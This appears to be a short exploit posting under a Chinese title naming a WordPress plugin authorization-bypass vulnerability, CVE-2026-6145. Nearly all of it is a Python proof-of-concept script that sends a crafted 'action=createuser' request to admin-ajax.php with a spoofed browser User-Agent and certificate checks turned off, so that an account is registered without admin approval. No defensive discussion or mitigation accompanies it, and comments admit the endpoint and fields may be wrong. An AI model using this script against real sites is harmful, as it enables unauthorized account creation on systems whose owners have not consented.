CVE-2026-6145 WordPress插件权限绕过漏洞

#!/usr/bin/env python3 import requests def exploit_cve_2026_6145(target_url, username, email): """ PoC for CVE-2026-6145: Missing Authorization in User Registration Plugin. This script attempts to register a user without admin approval by injecting the 'action=createuser' parameter. """ # The endpoint might vary based on installation, usually /wp-admin/admin-ajax.php or a specific registration endpoint # This assumes a standard registration form endpoint structure for the plugin endpoint = f"{target_url}/wp-admin/admin-ajax.php" payload = { "action": "createuser", # The vulnerable parameter that bypasses approval "ur_user_login": username, "ur_user_email": email, # Additional required fields might be needed depending on form configuration } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Referer": target_url } try: response = requests.post(endpoint, data=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {endpoint}") print(f"[+] Response: {response.text[:200]}") print("[+] Check if user was created without approval.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://example-wordpress-site.com" user = "attacker_user" mail = "[email protected]" exploit_cve_2026_6145(target, user, mail)